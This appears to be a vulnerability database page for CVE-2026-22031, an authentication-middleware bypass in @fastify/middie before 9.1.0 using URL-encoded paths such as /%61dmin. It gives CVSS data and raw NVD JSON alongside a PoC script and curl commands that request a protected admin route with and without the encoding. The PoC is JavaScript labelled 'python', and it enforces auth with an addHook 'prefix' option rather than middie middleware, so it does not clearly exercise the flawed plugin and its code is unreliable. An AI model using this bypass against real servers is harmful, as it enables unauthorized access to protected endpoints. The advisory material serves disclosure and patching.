Security Vulnerability Report
中文
CVE-2026-22031 CVSS 8.4 HIGH

CVE-2026-22031

Published: 2026-01-19 16:15:54
Last Modified: 2026-05-14 15:41:45

Description

@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:fastify:fastify\/middie:*:*:*:*:*:node.js:*:* - VULNERABLE
@fastify/middie < 9.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22031 PoC - URL Encoded Middleware Bypass // Target: @fastify/middie < 9.1.0 const fastify = require('fastify')({ logger: false }); const middie = require('@fastify/middie'); async function setupVulnerableServer() { await fastify.register(middie); // Register middleware with path prefix for admin routes fastify.addHook('onRequest', async (request, reply) => { console.log('[Middleware] Checking auth for:', request.url); // Authentication check - should block unauthorized access const authHeader = request.headers.authorization; if (!authHeader || authHeader !== 'Bearer admin-token') { reply.code(401).send({ error: 'Unauthorized' }); return reply; } }, { prefix: '/admin' }); // Protected admin endpoint fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin Dashboard - Confidential Data' }; }); await fastify.listen({ port: 3000 }); console.log('Vulnerable server running on port 3000'); } // Attack scenario using URL encoded path async function exploit() { const http = require('http'); // Normal request - should be blocked by middleware const normalOptions = { hostname: 'localhost', port: 3000, path: '/admin/dashboard', method: 'GET' }; // Bypassed request using URL encoding (%61 = 'a') // /admin -> /%61dmin, middleware won't match but Fastify router will const bypassOptions = { hostname: 'localhost', port: 3000, path: '/%61dmin/dashboard', // URL encoded path method: 'GET' }; console.log('\n[+] Normal Request (should be blocked):'); http.request(normalOptions, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => console.log('Status:', res.statusCode, 'Response:', data)); }).end(); // Wait a bit for server to start setTimeout(() => { console.log('\n[+] Bypassed Request (URL encoded path):'); http.request(bypassOptions, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => console.log('Status:', res.statusCode, 'Response:', data)); }).end(); }, 1000); } // Run PoC setupVulnerableServer().then(() => exploit()).catch(console.error); // curl PoC: // # Normal request (blocked): // curl http://localhost:3000/admin/dashboard // // # Bypassed request (unauthorized access): // curl http://localhost:3000/%61dmin/dashboard

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22031", "sourceIdentifier": "[email protected]", "published": "2026-01-19T16:15:54.310", "lastModified": "2026-05-14T15:41:44.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue."}, {"lang": "es", "value": "@fastify/middie es el plugin que añade soporte de middleware potenciado a Fastify. Una vulnerabilidad de seguridad existe en @fastify/middie anterior a la versión 9.1.0 donde el middleware registrado con un prefijo de ruta específico puede ser evadido usando caracteres codificados en URL (p. ej., '/%61dmin' en lugar de '/admin'). Mientras que el motor de middleware falla al coincidir con la ruta codificada y omite la ejecución, el router subyacente de Fastify decodifica correctamente la ruta y coincide con el manejador de ruta, permitiendo a los atacantes acceder a puntos finales protegidos sin las restricciones del middleware. La versión 9.1.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-177"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastify:fastify\\/middie:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "9.1.0", "matchCriteriaId": "4746BBEC-3DCB-4FBD-BEFD-AF70A2AB9812"}]}]}], "references": [{"url": "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/fastify/middie/pull/245", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/fastify/middie/releases/tag/v9.1.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}